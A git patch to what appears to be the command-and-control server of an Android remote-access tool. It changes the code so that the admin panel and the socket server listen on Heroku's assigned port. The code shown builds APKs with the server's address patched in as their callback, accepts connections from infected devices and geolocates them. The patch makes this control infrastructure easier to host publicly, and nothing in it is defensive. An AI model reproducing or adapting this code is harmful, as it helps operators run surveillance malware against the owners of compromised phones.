From d041ac10e7c0ebe39320a8c75cc411366e844e08 Mon Sep 17 00:00:00 2001 From: ChrisStone07 Date: Fri, 21 Feb 2020 15:13:51 +0530 Subject: [PATCH] Changed ports to work with heroku --- includes/apkBuilder.js | 4 ++-- includes/expressRoutes.js | 3 ++- index.js | 13 ++++++++----- 3 files changed, 12 insertions(+), 8 deletions(-) diff --git a/includes/apkBuilder.js b/includes/apkBuilder.js index 5e79852..a241cd6 100644 --- a/includes/apkBuilder.js +++ b/includes/apkBuilder.js @@ -20,7 +20,7 @@ function javaversion(callback) { } function patchAPK(URI, PORT, cb) { - if (PORT < 25565) { + // if (PORT < 25565) { fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) { if (err) return cb('File Patch Error - READ') var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT); @@ -29,7 +29,7 @@ function patchAPK(URI, PORT, cb) { else return cb(false) }); }); - } + // } } function buildAPK(cb) { diff --git a/includes/expressRoutes.js b/includes/expressRoutes.js index c008459..ba881ff 100644 --- a/includes/expressRoutes.js +++ b/includes/expressRoutes.js @@ -65,7 +65,8 @@ routes.get('/logout', isAllowed, (req, res) => { routes.get('/builder', isAllowed, (req, res) => { res.render('builder', { - myPort: CONST.control_port + // myPort: CONST.control_port + myPort: process.env.PORT }); }); diff --git a/index.js b/index.js index 7bd5fd5..d374913 100644 --- a/index.js +++ b/index.js @@ -8,7 +8,8 @@ const express = require('express'), app = express(), - IO = require('socket.io'), + server = require('http').createServer(app), + IO = require('socket.io')(server), geoip = require('geoip-lite'), CONST = require('./includes/const'), db = require('./includes/databaseGateway'), @@ -24,10 +25,11 @@ global.clientManager = clientManager; global.apkBuilder = apkBuilder; // spin up socket server -let client_io = IO.listen(CONST.control_port); +// let client_io = IO.listen(CONST.control_port); -client_io.sockets.pingInterval = 30000; -client_io.on('connection', (socket) => { +// client_io.sockets.pingInterval = 30000; +IO.sockets.pingInterval = 30000; +IO.on('connection', (socket) => { socket.emit('welcome'); let clientParams = socket.handshake.query; let clientAddress = socket.request.connection; @@ -65,7 +67,8 @@ client_io.on('connection', (socket) => { // get the admin interface online -app.listen(CONST.web_port); +// app.listen(CONST.web_port); +server.listen(process.env.PORT || CONST.web_port) app.set('view engine', 'ejs'); app.set('views', './assets/views');